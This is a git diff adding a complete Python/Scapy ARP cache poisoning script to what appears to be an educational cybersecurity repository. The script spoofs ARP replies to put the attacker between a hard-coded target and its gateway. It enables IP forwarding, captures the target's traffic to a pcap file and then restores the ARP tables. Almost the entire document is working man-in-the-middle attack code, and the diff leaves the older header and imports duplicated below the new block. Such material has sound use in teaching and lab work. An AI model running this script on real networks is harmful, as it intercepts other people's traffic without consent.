diff --git a/programming_and_scripting_for_cybersecurity/exploitation/arp_cache_poisoner.py b/programming_and_scripting_for_cybersecurity/exploitation/arp_cache_poisoner.py
index 4378a27..9a23adb 100644
--- a/programming_and_scripting_for_cybersecurity/exploitation/arp_cache_poisoner.py
+++ b/programming_and_scripting_for_cybersecurity/exploitation/arp_cache_poisoner.py
@@ -2,6 +2,99 @@
 # Example script to perform an ARP cache poisoning attack using SCAPY
 # v: 0.1
 # Omar Santos @santosomar
+#!/usr/bin/env python3
+# ARP Cache Poisoning Attack using SCAPY
+# Version: 0.1
+# Author: Omar Santos @santosomar
+# This script performs an ARP cache poisoning attack using the SCAPY library.
+# It spoofs ARP replies to the target and gateway, causing them to update their ARP tables with the attacker's MAC address.
+# The attacker then forwards packets between the target and gateway, allowing for eavesdropping or manipulation.
+
+from scapy.all import *
+import os
+import signal
+import sys
+import threading
+import time
+
+# Network and interface parameters
+gateway_ip = "192.168.78.1"
+target_ip = "192.168.78.123"
+packet_count = 1000
+conf.iface = "en0"
+conf.verb = 0
+
+# Get the MAC address of the given IP address.
+def get_mac(ip_address):
+    resp, unans = sr(ARP(op=1, hwdst="ff:ff:ff:ff:ff:ff", pdst=ip_address), retry=2, timeout=10)
+    for s,r in resp:
+        return r[ARP].hwsrc
+    return None
+
+# Restore the network by reversing the ARP poison attack.
+def restore_network(gateway_ip, gateway_mac, target_ip, target_mac):
+    send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=gateway_ip, hwsrc=target_mac, psrc=target_ip), count=5)
+    send(ARP(op=2, hwdst="ff:ff:ff:ff:ff:ff", pdst=target_ip, hwsrc=gateway_mac, psrc=gateway_ip), count=5)
+    print("[*] Disabling IP forwarding")
+    os.system("sysctl -w net.inet.ip.forwarding=0")
+    os.kill(os.getpid(), signal.SIGTERM)
+
+# Perform the ARP poisoning attack.
+def arp_poison(gateway_ip, gateway_mac, target_ip, target_mac):
+    print("[*] Started ARP poison attack [CTRL-C to stop]")
+    try:
+        while True:
+            send(ARP(op=2, pdst=gateway_ip, hwdst=gateway_mac, psrc=target_ip))
+            send(ARP(op=2, pdst=target_ip, hwdst=target_mac, psrc=gateway_ip))
+            time.sleep(2)
+    except KeyboardInterrupt:
+        print("[*] Stopped ARP poison attack. Restoring network")
+        restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
+
+# Main script execution
+print("[*] Starting arp_cache_poisoner")
+print("[*] Enabling IP forwarding")
+os.system("sysctl -w net.inet.ip.forwarding=1")
+
+print(f"[*] Gateway IP address: {gateway_ip}")
+print(f"[*] Target IP address: {target_ip}")
+
+gateway_mac = get_mac(gateway_ip)
+if gateway_mac is None:
+    print("[!] Unable to get gateway MAC address. Exiting..")
+    sys.exit(0)
+else:
+    print(f"[*] Gateway MAC address: {gateway_mac}")
+
+target_mac = get_mac(target_ip)
+if target_mac is None:
+    print("[!] Unable to get target MAC address. Exiting..")
+    sys.exit(0)
+else:
+    print(f"[*] Target MAC address: {target_mac}")
+
+# Start the ARP poison thread
+poison_thread = threading.Thread(target=arp_poison, args=(gateway_ip, gateway_mac, target_ip, target_mac))
+poison_thread.start()
+
+# Collect packet captures and save them to a file
+try:
+    sniff_filter = "ip host " + target_ip
+    print(f"[*] Starting network capture. Packet Count: {packet_count}. Filter: {sniff_filter}")
+    packets = sniff(filter=sniff_filter, iface=conf.iface, count=packet_count)
+    
+    # Save captured packets to a .pcap file
+    wrpcap(target_ip + "_capture.pcap", packets)
+    
+    print(f"[*] Stopping network capture..Restoring network")
+    restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
+
+# Gracefully handle KeyboardInterrupt (Ctrl+C) to stop packet capture and restore the network
+except KeyboardInterrupt:
+    print(f"[*] Stopping network capture..Restoring network")
+    restore_network(gateway_ip, gateway_mac, target_ip, target_mac)
+    sys.exit(0)
+
 
 from scapy.all import *
 import os